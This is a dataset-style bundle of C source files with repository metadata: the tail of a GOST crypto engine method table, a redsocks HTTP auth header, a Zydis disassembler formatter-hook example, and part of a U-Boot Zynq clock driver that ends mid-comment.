EVP_PKEY_meth_set_signctx(*pmeth, pkey_gost_mac_signctx_init,
pkey_gost_mac_signctx);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost_mac_keygen_12);
EVP_PKEY_meth_set_init(*pmeth, pkey_gost_mac_init);
EVP_PKEY_meth_set_cleanup(*pmeth, pkey_gost_mac_cleanup);
EVP_PKEY_meth_set_copy(*pmeth, pkey_gost_mac_copy);
return 1;
case NID_magma_mac:
EVP_PKEY_meth_set_ctrl(*pmeth, pkey_gost_magma_mac_ctrl,
pkey_gost_magma_mac_ctrl_str);
EVP_PKEY_meth_set_signctx(*pmeth, pkey_gost_magma_mac_signctx_init,
pkey_gost_mac_signctx);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost_magma_mac_keygen);
EVP_PKEY_meth_set_init(*pmeth, pkey_gost_magma_mac_init);
EVP_PKEY_meth_set_cleanup(*pmeth, pkey_gost_mac_cleanup);
EVP_PKEY_meth_set_copy(*pmeth, pkey_gost_mac_copy);
return 1;
case NID_grasshopper_mac:
case NID_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm_omac: /* FIXME beldmit */
EVP_PKEY_meth_set_ctrl(*pmeth, pkey_gost_grasshopper_mac_ctrl,
pkey_gost_grasshopper_mac_ctrl_str);
EVP_PKEY_meth_set_signctx(*pmeth, pkey_gost_grasshopper_mac_signctx_init,
pkey_gost_mac_signctx);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost_grasshopper_mac_keygen);
EVP_PKEY_meth_set_init(*pmeth, pkey_gost_grasshopper_mac_init);
EVP_PKEY_meth_set_cleanup(*pmeth, pkey_gost_mac_cleanup);
EVP_PKEY_meth_set_copy(*pmeth, pkey_gost_mac_copy);
return 1;
default: /* Unsupported method */
return 0;
}
EVP_PKEY_meth_set_init(*pmeth, pkey_gost_init);
EVP_PKEY_meth_set_cleanup(*pmeth, pkey_gost_cleanup);
EVP_PKEY_meth_set_copy(*pmeth, pkey_gost_copy);
/*
* FIXME derive etc...
*/
return 1;
}
|
303ef53fff5477107e99145ef7d5fdbf2fa16d65
|
c7a7703795868ffe109c6ea004808848a8f8d942
|
/http-auth.h
|
36e32219d132e3b98d7b6fdf09cde45579da8bc5
|
[
"Apache-2.0"
] |
permissive
|
semigodking/redsocks
|
d09b964b3fd3a434da5b6894c97f8086a962097c
|
7fe2741cf436f025eb44ff9d4f4b2ebe9f13c0fb
|
refs/heads/master
| 2023-08-10T15:31:55.388121
| 2023-08-02T10:20:33
| 2023-08-02T10:20:33
| 7,573,394
| 1,109
| 312
|
Apache-2.0
| 2023-08-02T10:20:34
| 2013-01-12T08:53:45
|
C
|
UTF-8
|
C
| false
| false
| 727
|
h
|
http-auth.h
|
#ifndef HTTP_AUTH_H
#define HTTP_AUTH_H
typedef struct http_auth_t {
char *last_auth_query;
int last_auth_count;
} http_auth;
/*
* Create the authentication header contents for the `Basic' scheme.
* This is done by encoding the string "USER:PASS" to base64 and
* prepending the string "Basic " in front of it.
*
*/
char* basic_authentication_encode(const char *user, const char *passwd);
/*
* Create the authentication header contents for the 'Digest' scheme.
* only md5 method is available, see RFC 2617 for detail.
*
*/
char* digest_authentication_encode(const char *line, const char *user, const char *passwd,
const char *method, const char *path, int count, const char *cnonce);
#endif /* HTTP_AUTH_H */
|
8221cd8a8e7484e6d3aebbb5f0e29a8c0540abcd
|
b4dd6b071ba94d0c0d539d6ac82bd07065d4f82b
|
/examples/Formatter01.c
|
9c2bba46f990c1eb1ed12426b01d332a743e9853
|
[
"MIT"
] |
permissive
|
zyantific/zydis
|
08b9db1b08b461ff006519f1dea9ccbcfe674c4d
|
a6d0c713b71b5009634868389f0ff551871273d6
|
refs/heads/master
| 2023-08-02T18:01:51.306195
| 2023-06-25T18:53:32
| 2023-07-02T15:33:11
| 25,708,163
| 2,716
| 448
|
MIT
| 2023-09-14T08:27:12
| 2014-10-24T21:05:43
|
C
|
UTF-8
|
C
| false
| false
| 6,938
|
c
|
Formatter01.c
|
/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Demonstrates basic hooking functionality of the `ZydisFormatter` class by implementing
* a custom symbol-resolver.
*/
#include <inttypes.h>
#include <Zycore/Format.h>
#include <Zycore/LibC.h>
#include <Zydis/Zydis.h>
/* ============================================================================================== */
/* Enums and Types */
/* ============================================================================================== */
/**
* Defines the `ZydisSymbol` struct.
*/
typedef struct ZydisSymbol_
{
/**
* The symbol address.
*/
ZyanU64 address;
/**
* The symbol name.
*/
const char* name;
} ZydisSymbol;
/* ============================================================================================== */
/* Static data */
/* ============================================================================================== */
/**
* A static symbol table with some dummy symbols.
*/
static const ZydisSymbol SYMBOL_TABLE[3] =
{
{ 0x007FFFFFFF401000, "SomeModule.EntryPoint" },
{ 0x007FFFFFFF530040, "SomeModule.SomeData" },
{ 0x007FFFFFFF401100, "SomeModule.SomeFunction" }
};
/* ============================================================================================== */
/* Hook callbacks */
/* ============================================================================================== */
ZydisFormatterFunc default_print_address_absolute;
static ZyanStatus ZydisFormatterPrintAddressAbsolute(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context)
{
ZyanU64 address;
ZYAN_CHECK(ZydisCalcAbsoluteAddress(context->instruction, context->operand,
context->runtime_address, &address));
for (ZyanUSize i = 0; i < ZYAN_ARRAY_LENGTH(SYMBOL_TABLE); ++i)
{
if (SYMBOL_TABLE[i].address == address)
{
ZYAN_CHECK(ZydisFormatterBufferAppend(buffer, ZYDIS_TOKEN_SYMBOL));
ZyanString* string;
ZYAN_CHECK(ZydisFormatterBufferGetString(buffer, &string));
return ZyanStringAppendFormat(string, "<%s>", SYMBOL_TABLE[i].name);
}
}
return default_print_address_absolute(formatter, buffer, context);
}
/* ============================================================================================== */
/* Helper functions */
/* ============================================================================================== */
static void DisassembleBuffer(ZydisDecoder* decoder, ZyanU8* data, ZyanUSize length)
{
ZydisFormatter formatter;
ZydisFormatterInit(&formatter, ZYDIS_FORMATTER_STYLE_INTEL);
ZydisFormatterSetProperty(&formatter, ZYDIS_FORMATTER_PROP_FORCE_SEGMENT, ZYAN_TRUE);
ZydisFormatterSetProperty(&formatter, ZYDIS_FORMATTER_PROP_FORCE_SIZE, ZYAN_TRUE);
// Replace the `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` function that formats the absolute
// addresses
default_print_address_absolute = (ZydisFormatterFunc)&ZydisFormatterPrintAddressAbsolute;
ZydisFormatterSetHook(&formatter, ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS,
(const void**)&default_print_address_absolute);
ZyanU64 runtime_address = 0x007FFFFFFF400000;
ZydisDecodedInstruction instruction;
ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT];
char buffer[256];
while (ZYAN_SUCCESS(ZydisDecoderDecodeFull(decoder, data, length, &instruction, operands)))
{
ZYAN_PRINTF("%016" PRIX64 " ", runtime_address);
// We have to pass a `runtime_address` different to `ZYDIS_RUNTIME_ADDRESS_NONE` to
// enable printing of absolute addresses
ZydisFormatterFormatInstruction(&formatter, &instruction, operands,
instruction.operand_count_visible, &buffer[0], sizeof(buffer), runtime_address,
ZYAN_NULL);
ZYAN_PRINTF(" %s\n", &buffer[0]);
data += instruction.length;
length -= instruction.length;
runtime_address += instruction.length;
}
}
/* ============================================================================================== */
/* Entry point */
/* ============================================================================================== */
int main(void)
{
if (ZydisGetVersion() != ZYDIS_VERSION)
{
fputs("Invalid zydis version\n", ZYAN_STDERR);
return EXIT_FAILURE;
}
ZyanU8 data[] =
{
0x48, 0x8B, 0x05, 0x39, 0x00, 0x13, 0x00, // mov rax, qword ptr ds:[<SomeModule.SomeData>]
0x50, // push rax
0xFF, 0x15, 0xF2, 0x10, 0x00, 0x00, // call qword ptr ds:[<SomeModule.SomeFunction>]
0x85, 0xC0, // test eax, eax
0x0F, 0x84, 0x00, 0x00, 0x00, 0x00, // jz 0x007FFFFFFF400016
0xE9, 0xE5, 0x0F, 0x00, 0x00 // jmp <SomeModule.EntryPoint>
};
ZydisDecoder decoder;
ZydisDecoderInit(&decoder, ZYDIS_MACHINE_MODE_LONG_64, ZYDIS_STACK_WIDTH_64);
DisassembleBuffer(&decoder, &data[0], sizeof(data));
return 0;
}
/* ============================================================================================== */
|
e09901cc8323a9a7f61e7e28e395605b3ea633d6
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/u-boot_new/arch/arm/cpu/armv7/zynq/clk.c
|
d2885dc2b9e3e9d6444684ed103b1e1962b2b929
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"GPL-2.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 18,179
|
c
|
clk.c
|
/*
* Copyright (C) 2013 Soren Brinkmann <soren.brinkmann@xilinx.com>
* Copyright (C) 2013 Xilinx, Inc. All rights reserved.
*
* SPDX-License-Identifier: GPL-2.0+
*/
#include <common.h>
#include <errno.h>
#include <clk.h>
#include <asm/io.h>
#include <asm/arch/hardware.h>
#include <asm/arch/clk.h>
/* Board oscillator frequency */
#ifndef CONFIG_ZYNQ_PS_CLK_FREQ
# define CONFIG_ZYNQ_PS_CLK_FREQ 33333333UL
#endif
/* Register bitfield defines */
#define PLLCTRL_FBDIV_MASK 0x7f000
#define PLLCTRL_FBDIV_SHIFT 12
#define PLLCTRL_BPFORCE_MASK (1 << 4)
#define PLLCTRL_PWRDWN_MASK 2
#define PLLCTRL_PWRDWN_SHIFT 1
#define PLLCTRL_RESET_MASK 1
#define PLLCTRL_RESET_SHIFT 0
#define ZYNQ_CLK_MAXDIV 0x3f
#define CLK_CTRL_DIV1_SHIFT 20
#define CLK_CTRL_DIV1_MASK (ZYNQ_CLK_MAXDIV << CLK_CTRL_DIV1_SHIFT)
#define CLK_CTRL_DIV0_SHIFT 8
#define CLK_CTRL_DIV0_MASK (ZYNQ_CLK_MAXDIV << CLK_CTRL_DIV0_SHIFT)
#define CLK_CTRL_SRCSEL_SHIFT 4
#define CLK_CTRL_SRCSEL_MASK (0x3 << CLK_CTRL_SRCSEL_SHIFT)
#define CLK_CTRL_DIV2X_SHIFT 26
#define CLK_CTRL_DIV2X_MASK (ZYNQ_CLK_MAXDIV << CLK_CTRL_DIV2X_SHIFT)
#define CLK_CTRL_DIV3X_SHIFT 20
#define CLK_CTRL_DIV3X_MASK (ZYNQ_CLK_MAXDIV << CLK_CTRL_DIV3X_SHIFT)
#define ZYNQ_CLKMUX_SEL_0 0
#define ZYNQ_CLKMUX_SEL_1 1
#define ZYNQ_CLKMUX_SEL_2 2
#define ZYNQ_CLKMUX_SEL_3 3
DECLARE_GLOBAL_DATA_PTR;
struct clk;
/**
* struct clk_ops:
* @set_rate: Function pointer to set_rate() implementation
* @get_rate: Function pointer to get_rate() implementation
*/
struct clk_ops {
int (*set_rate)(struct clk *clk, unsigned long rate);
unsigned long (*get_rate)(struct clk *clk);
};
/**
* struct clk:
* @name: Clock name
* @frequency: Currenct frequency
* @parent: Parent clock
* @flags: Clock flags
* @reg: Clock control register
* @ops: Clock operations
*/
struct clk {
char *name;
unsigned long frequency;
enum zynq_clk parent;
unsigned int flags;
u32 *reg;
struct clk_ops ops;
};
#define ZYNQ_CLK_FLAGS_HAS_2_DIVS 1
static struct clk clks[clk_max];
/**
* __zynq_clk_cpu_get_parent() - Decode clock multiplexer
* @srcsel: Mux select value
* Returns the clock identifier associated with the selected mux input.
*/
static int __zynq_clk_cpu_get_parent(unsigned int srcsel)
{
unsigned int ret;
switch (srcsel) {
case ZYNQ_CLKMUX_SEL_0:
case ZYNQ_CLKMUX_SEL_1:
ret = armpll_clk;
break;
case ZYNQ_CLKMUX_SEL_2:
ret = ddrpll_clk;
break;
case ZYNQ_CLKMUX_SEL_3:
ret = iopll_clk;
break;
default:
ret = armpll_clk;
break;
}
return ret;
}
/**
* ddr2x_get_rate() - Get clock rate of DDR2x clock
* @clk: Clock handle
* Returns the current clock rate of @clk.
*/
static unsigned long ddr2x_get_rate(struct clk *clk)
{
u32 clk_ctrl = readl(clk->reg);
u32 div = (clk_ctrl & CLK_CTRL_DIV2X_MASK) >> CLK_CTRL_DIV2X_SHIFT;
return DIV_ROUND_CLOSEST(zynq_clk_get_rate(clk->parent), div);
}
/**
* ddr3x_get_rate() - Get clock rate of DDR3x clock
* @clk: Clock handle
* Returns the current clock rate of @clk.
*/
static unsigned long ddr3x_get_rate(struct clk *clk)
{
u32 clk_ctrl = readl(clk->reg);
u32 div = (clk_ctrl & CLK_CTRL_DIV3X_MASK) >> CLK_CTRL_DIV3X_SHIFT;
return DIV_ROUND_CLOSEST(zynq_clk_get_rate(clk->parent), div);
}
static void init_ddr_clocks(void)
{
u32 div0, div1;
unsigned long prate = zynq_clk_get_rate(ddrpll_clk);
u32 clk_ctrl = readl(&slcr_base->ddr_clk_ctrl);
/* DDR2x */
clks[ddr2x_clk].reg = &slcr_base->ddr_clk_ctrl;
clks[ddr2x_clk].parent = ddrpll_clk;
clks[ddr2x_clk].name = "ddr_2x";
clks[ddr2x_clk].frequency = ddr2x_get_rate(&clks[ddr2x_clk]);
clks[ddr2x_clk].ops.get_rate = ddr2x_get_rate;
/* DDR3x */
clks[ddr3x_clk].reg = &slcr_base->ddr_clk_ctrl;
clks[ddr3x_clk].parent = ddrpll_clk;
clks[ddr3x_clk].name = "ddr_3x";
clks[ddr3x_clk].frequency = ddr3x_get_rate(&clks[ddr3x_clk]);
clks[ddr3x_clk].ops.get_rate = ddr3x_get_rate;
/* DCI */
clk_ctrl = readl(&slcr_base->dci_clk_ctrl);
div0 = (clk_ctrl & CLK_CTRL_DIV0_MASK) >> CLK_CTRL_DIV0_SHIFT;
div1 = (clk_ctrl & CLK_CTRL_DIV1_MASK) >> CLK_CTRL_DIV1_SHIFT;
clks[dci_clk].reg = &slcr_base->dci_clk_ctrl;
clks[dci_clk].parent = ddrpll_clk;
clks[dci_clk].frequency = DIV_ROUND_CLOSEST(
DIV_ROUND_CLOSEST(prate, div0), div1);
clks[dci_clk].name = "dci";
gd->bd->bi_ddr_freq = clks[ddr3x_clk].frequency / 1000000;
}
static void init_cpu_clocks(void)
{
int clk_621;
u32 reg, div, srcsel;
enum zynq_clk parent;
reg = readl(&slcr_base->arm_clk_ctrl);
clk_621 = readl(&slcr_base->clk_621_true) & 1;
div = (reg & CLK_CTRL_DIV0_MASK) >> CLK_CTRL_DIV0_SHIFT;
srcsel = (reg & CLK_CTRL_SRCSEL_MASK) >> CLK_CTRL_SRCSEL_SHIFT;
parent = __zynq_clk_cpu_get_parent(srcsel);
/* cpu clocks */
clks[cpu_6or4x_clk].reg = &slcr_base->arm_clk_ctrl;
clks[cpu_6or4x_clk].parent = parent;
clks[cpu_6or4x_clk].frequency = DIV_ROUND_CLOSEST(
zynq_clk_get_rate(parent), div);
clks[cpu_6or4x_clk].name = "cpu_6or4x";
clks[cpu_3or2x_clk].reg = &slcr_base->arm_clk_ctrl;
clks[cpu_3or2x_clk].parent = cpu_6or4x_clk;
clks[cpu_3or2x_clk].frequency = zynq_clk_get_rate(cpu_6or4x_clk) / 2;
clks[cpu_3or2x_clk].name = "cpu_3or2x";
clks[cpu_2x_clk].reg = &slcr_base->arm_clk_ctrl;
clks[cpu_2x_clk].parent = cpu_6or4x_clk;
clks[cpu_2x_clk].frequency = zynq_clk_get_rate(cpu_6or4x_clk) /
(2 + clk_621);
clks[cpu_2x_clk].name = "cpu_2x";
clks[cpu_1x_clk].reg = &slcr_base->arm_clk_ctrl;
clks[cpu_1x_clk].parent = cpu_6or4x_clk;
clks[cpu_1x_clk].frequency = zynq_clk_get_rate(cpu_6or4x_clk) /
(4 + 2 * clk_621);
clks[cpu_1x_clk].name = "cpu_1x";
}
/**
* periph_calc_two_divs() - Calculate clock dividers
* @cur_rate: Current clock rate
* @tgt_rate: Target clock rate
* @prate: Parent clock rate
* @div0: First divider (output)
* @div1: Second divider (output)
* Returns the actual clock rate possible.
*
* Calculates clock dividers for clocks with two 6-bit dividers.
*/
static unsigned long periph_calc_two_divs(unsigned long cur_rate,
unsigned long tgt_rate, unsigned long prate, u32 *div0,
u32 *div1)
{
long err, best_err = (long)(~0UL >> 1);
unsigned long rate, best_rate = 0;
u32 d0, d1;
for (d0 = 1; d0 <= ZYNQ_CLK_MAXDIV; d0++) {
for (d1 = 1; d1 <= ZYNQ_CLK_MAXDIV >> 1; d1++) {
rate = DIV_ROUND_CLOSEST(DIV_ROUND_CLOSEST(prate, d0),
d1);
err = abs(rate - tgt_rate);
if (err < best_err) {
*div0 = d0;
*div1 = d1;
best_err = err;
best_rate = rate;
}
}
}
return best_rate;
}
/**
* zynq_clk_periph_set_rate() - Set clock rate
* @clk: Handle of the peripheral clock
* @rate: New clock rate
* Sets the clock frequency of @clk to @rate. Returns zero on success.
*/
static int zynq_clk_periph_set_rate(struct clk *clk,
unsigned long rate)
{
u32 ctrl, div0 = 0, div1 = 0;
unsigned long prate, new_rate, cur_rate = clk->frequency;
ctrl = readl(clk->reg);
prate = zynq_clk_get_rate(clk->parent);
ctrl &= ~CLK_CTRL_DIV0_MASK;
if (clk->flags & ZYNQ_CLK_FLAGS_HAS_2_DIVS) {
ctrl &= ~CLK_CTRL_DIV1_MASK;
new_rate = periph_calc_two_divs(cur_rate, rate, prate, &div0,
&div1);
ctrl |= div1 << CLK_CTRL_DIV1_SHIFT;
} else {
div0 = DIV_ROUND_CLOSEST(prate, rate);
div0 &= ZYNQ_CLK_MAXDIV;
new_rate = DIV_ROUND_CLOSEST(rate, div0);
}
/* write new divs to hardware */
ctrl |= div0 << CLK_CTRL_DIV0_SHIFT;
writel(ctrl, clk->reg);
/* update frequency in clk framework */
clk->frequency = new_rate;
return 0;
}
/**
* zynq_clk_periph_get_rate() - Get clock rate
* @clk: Handle of the peripheral clock
* Returns the current clock rate of @clk.
*/
static unsigned long zynq_clk_periph_get_rate(struct clk *clk)
{
u32 clk_ctrl = readl(clk->reg);
u32 div0 = (clk_ctrl & CLK_CTRL_DIV0_MASK) >> CLK_CTRL_DIV0_SHIFT;
u32 div1 = 1;
if (clk->flags & ZYNQ_CLK_FLAGS_HAS_2_DIVS)
div1 = (clk_ctrl & CLK_CTRL_DIV1_MASK) >> CLK_CTRL_DIV1_SHIFT;
/* a register value of zero == division by 1 */
if (!div0)
div0 = 1;
if (!div1)
div1 = 1;
return
DIV_ROUND_CLOSEST(
DIV_ROUND_CLOSEST(zynq_clk_get_rate(clk->parent), div0),
div1);
}
/**
* __zynq_clk_periph_get_parent() - Decode clock multiplexer
* @srcsel: Mux select value
* Returns the clock identifier associated with the selected mux input.
*/
static enum zynq_clk __zynq_clk_periph_get_parent(u32 srcsel)
{
switch (srcsel) {
case ZYNQ_CLKMUX_SEL_0:
case ZYNQ_CLKMUX_SEL_1:
return iopll_clk;
case ZYNQ_CLKMUX_SEL_2:
return armpll_clk;
case ZYNQ_CLKMUX_SEL_3:
return ddrpll_clk;
default:
return 0;
}
}
/**
* zynq_clk_periph_get_parent() - Decode clock multiplexer
* @clk: Clock handle
* Returns the clock identifier associated with the selected mux input.
*/
static enum zynq_clk zynq_clk_periph_get_parent(struct clk *clk)
{
u32 clk_ctrl = readl(clk->reg);
u32 srcsel = (clk_ctrl & CLK_CTRL_SRCSEL_MASK) >> CLK_CTRL_SRCSEL_SHIFT;
return __zynq_clk_periph_get_parent(srcsel);
}
/**
* zynq_clk_register_periph_clk() - Set up a peripheral clock with the framework
* @clk: Pointer to struct clk for the clock
* @ctrl: Clock control register
* @name: PLL name
* @two_divs: Indicates whether the clock features one or two dividers
*/
static int zynq_clk_register_periph_clk(struct clk *clk, u32 *ctrl, char *name,
bool two_divs)
{
clk->name = name;
clk->reg = ctrl;
if (two_divs)
clk->flags = ZYNQ_CLK_FLAGS_HAS_2_DIVS;
clk->parent = zynq_clk_periph_get_parent(clk);
clk->frequency = zynq_clk_periph_get_rate(clk);
clk->ops.get_rate = zynq_clk_periph_get_rate;
clk->ops.set_rate = zynq_clk_periph_set_rate;
return 0;
}
static void init_periph_clocks(void)
{
zynq_clk_register_periph_clk(&clks[gem0_clk], &slcr_base->gem0_clk_ctrl,
"gem0", 1);
zynq_clk_register_periph_clk(&clks[gem1_clk], &slcr_base->gem1_clk_ctrl,
"gem1", 1);
zynq_clk_register_periph_clk(&clks[smc_clk], &slcr_base->smc_clk_ctrl,
"smc", 0);
zynq_clk_register_periph_clk(&clks[lqspi_clk],
&slcr_base->lqspi_clk_ctrl, "lqspi", 0);
zynq_clk_register_periph_clk(&clks[sdio0_clk],
&slcr_base->sdio_clk_ctrl, "sdio0", 0);
zynq_clk_register_periph_clk(&clks[sdio1_clk],
&slcr_base->sdio_clk_ctrl, "sdio1", 0);
zynq_clk_register_periph_clk(&clks[spi0_clk], &slcr_base->spi_clk_ctrl,
"spi0", 0);
zynq_clk_register_periph_clk(&clks[spi1_clk], &slcr_base->spi_clk_ctrl,
"spi1", 0);
zynq_clk_register_periph_clk(&clks[uart0_clk],
&slcr_base->uart_clk_ctrl, "uart0", 0);
zynq_clk_register_periph_clk(&clks[uart1_clk],
&slcr_base->uart_clk_ctrl, "uart1", 0);
zynq_clk_register_periph_clk(&clks[dbg_trc_clk],
&slcr_base->dbg_clk_ctrl, "dbg_trc", 0);
zynq_clk_register_periph_clk(&clks[dbg_apb_clk],
&slcr_base->dbg_clk_ctrl, "dbg_apb", 0);
zynq_clk_register_periph_clk(&clks[pcap_clk],
&slcr_base->pcap_clk_ctrl, "pcap", 0);
zynq_clk_register_periph_clk(&clks[fclk0_clk],
&slcr_base->fpga0_clk_ctrl, "fclk0", 1);
zynq_clk_register_periph_clk(&clks[fclk1_clk],
&slcr_base->fpga1_clk_ctrl, "fclk1", 1);
zynq_clk_register_periph_clk(&clks[fclk2_clk],
&slcr_base->fpga2_clk_ctrl, "fclk2", 1);
zynq_clk_register_periph_clk(&clks[fclk3_clk],
&slcr_base->fpga3_clk_ctrl, "fclk3", 1);
}
/**
* zynq_clk_register_aper_clk() - Set up a APER clock with the framework
* @clk: Pointer to struct clk for the clock
* @ctrl: Clock control register
* @name: PLL name
*/
static void zynq_clk_register_aper_clk(struct clk *clk, u32 *ctrl, char *name)
{
clk->name = name;
clk->reg = ctrl;
clk->parent = cpu_1x_clk;
clk->frequency = zynq_clk_get_rate(clk->parent);
}
static void init_aper_clocks(void)
{
zynq_clk_register_aper_clk(&clks[usb0_aper_clk],
&slcr_base->aper_clk_ctrl, "usb0_aper");
zynq_clk_register_aper_clk(&clks[usb1_aper_clk],
&slcr_base->aper_clk_ctrl, "usb1_aper");
zynq_clk_register_aper_clk(&clks[gem0_aper_clk],
&slcr_base->aper_clk_ctrl, "gem0_aper");
zynq_clk_register_aper_clk(&clks[gem1_aper_clk],
&slcr_base->aper_clk_ctrl, "gem1_aper");
zynq_clk_register_aper_clk(&clks[sdio0_aper_clk],
&slcr_base->aper_clk_ctrl, "sdio0_aper");
zynq_clk_register_aper_clk(&clks[sdio1_aper_clk],
&slcr_base->aper_clk_ctrl, "sdio1_aper");
zynq_clk_register_aper_clk(&clks[spi0_aper_clk],
&slcr_base->aper_clk_ctrl, "spi0_aper");
zynq_clk_register_aper_clk(&clks[spi1_aper_clk],
&slcr_base->aper_clk_ctrl, "spi1_aper");
zynq_clk_register_aper_clk(&clks[can0_aper_clk],
&slcr_base->aper_clk_ctrl, "can0_aper");
zynq_clk_register_aper_clk(&clks[can1_aper_clk],
&slcr_base->aper_clk_ctrl, "can1_aper");
zynq_clk_register_aper_clk(&clks[i2c0_aper_clk],
&slcr_base->aper_clk_ctrl, "i2c0_aper");
zynq_clk_register_aper_clk(&clks[i2c1_aper_clk],
&slcr_base->aper_clk_ctrl, "i2c1_aper");
zynq_clk_register_aper_clk(&clks[uart0_aper_clk],
&slcr_base->aper_clk_ctrl, "uart0_aper");
zynq_clk_register_aper_clk(&clks[uart1_aper_clk],
&slcr_base->aper_clk_ctrl, "uart1_aper");
zynq_clk_register_aper_clk(&clks[gpio_aper_clk],
&slcr_base->aper_clk_ctrl, "gpio_aper");
zynq_clk_register_aper_clk(&clks[lqspi_aper_clk],
&slcr_base->aper_clk_ctrl, "lqspi_aper");
zynq_clk_register_aper_clk(&clks[smc_aper_clk],
&slcr_base->aper_clk_ctrl, "smc_aper");
}
/**
* __zynq_clk_pll_get_rate() - Get PLL rate
* @addr: Address of the PLL's control register
* Returns the current PLL output rate.
*/
static unsigned long __zynq_clk_pll_get_rate(u32 *addr)
{
u32 reg, mul, bypass;
reg = readl(addr);
bypass = reg & PLLCTRL_BPFORCE_MASK;
if (bypass)
mul = 1;
else
mul = (reg & PLLCTRL_FBDIV_MASK) >> PLLCTRL_FBDIV_SHIFT;
return CONFIG_ZYNQ_PS_CLK_FREQ * mul;
}
/**
* zynq_clk_pll_get_rate() - Get PLL rate
* @pll: Handle of the PLL
* Returns the current clock rate of @pll.
*/
static unsigned long zynq_clk_pll_get_rate(struct clk *pll)
{
return __zynq_clk_pll_get_rate(pll->reg);
}
/**
* zynq_clk_register_pll() - Set up a PLL with the framework
* @clk: Pointer to struct clk for the PLL
* @ctrl: PLL control register
* @name: PLL name
* @prate: PLL input clock rate
*/
static void zynq_clk_register_pll(struct clk *clk, u32 *ctrl, char *name,
unsigned long prate)
{
clk->name = name;
clk->reg = ctrl;
clk->frequency = zynq_clk_pll_get_rate(clk);
clk->ops.get_rate = zynq_clk_pll_get_rate;
}
/**
* clkid_2_register() - Get clock control register
* @id: Clock identifier of one of the PLLs
* Returns the address of the requested PLL's control register.
*/
static u32 *clkid_2_register(enum zynq_clk id)
{
switch (id) {
case armpll_clk:
return &slcr_base->arm_pll_ctrl;
case ddrpll_clk:
return &slcr_base->ddr_pll_ctrl;
case iopll_clk:
return &slcr_base->io_pll_ctrl;
default:
return &slcr_base->io_pll_ctrl;
}
}
/* API */
/**
* zynq_clk_early_init() - Early init for the clock framework
*
* This function is called from before relocation and sets up the CPU clock
* frequency in the global data struct.
*/
void zynq_clk_early_init(void)
{
u32 reg = readl(&slcr_base->arm_clk_ctrl);
u32 div = (reg & CLK_CTRL_DIV0_MASK) >> CLK_CTRL_DIV0_SHIFT;
u32 srcsel = (reg & CLK_CTRL_SRCSEL_MASK) >> CLK_CTRL_SRCSEL_SHIFT;
enum zynq_clk parent = __zynq_clk_cpu_get_parent(srcsel);
u32 *pllreg = clkid_2_register(parent);
unsigned long prate = __zynq_clk_pll_get_rate(pllreg);
if (!div)
div = 1;
gd->cpu_clk = DIV_ROUND_CLOSEST(prate, div);
}
/**
* get_uart_clk() - Get UART input frequency
* @dev_index: UART ID
* Returns UART input clock frequency in Hz.
*
* Compared to zynq_clk_get_rate() this function is designed to work before
* relocation and can be called when the serial UART is set up.
*/
unsigned long get_uart_clk(int dev_index)
{
u32 reg = readl(&slcr_base->uart_clk_ctrl);
u32 div = (reg & CLK_CTRL_DIV0_MASK) >> CLK_CTRL_DIV0_SHIFT;
u32 srcsel = (reg & CLK_CTRL_SRCSEL_MASK) >> CLK_CTRL_SRCSEL_SHIFT;
enum zynq_clk parent = __zynq_clk_periph_get_parent(srcsel);
u32 *pllreg = clkid_2_register(parent);
unsigned long prate = __zynq_clk_pll_get_rate(pllreg);
if (!div)
div = 1;
return DIV_ROUND_CLOSEST(prate, div);
}
/**
* set_cpu_clk_info() - Initialize clock framework
* Always returns zero.
*
* This function is called from common code after relocation and sets up the
* clock framework. The framework must not be used before this function had been
* called.
*/
int set_cpu_clk_info(void)
{
zynq_clk_register_pll(&clks[armpll_clk], &slcr_base->arm_pll_ctrl,
"armpll", CONFIG_ZYNQ_PS_CLK_FREQ);
zynq_clk_register_pll(&clks[ddrpll_clk], &slcr_base->ddr_pll_ctrl,
"ddrpll", CONFIG_ZYNQ_PS_CLK_FREQ);
zynq_clk_register_pll(&clks[iopll_clk], &slcr_base->io_pll_ctrl,
"iopll", CONFIG_ZYNQ_PS_CLK_FREQ);
init_ddr_clocks();
init_cpu_clocks();
init_periph_clocks();
init_aper_clocks();
gd->bd->bi_arm_freq = gd->cpu_clk / 1000000;
gd->bd->bi_dsp_freq = 0;
return 0;
}
/**
* zynq_clk_get_rate() - Get clock rate
* @clk: Clock identifier
* Returns the current clock rate of @clk on success or zero for an invalid
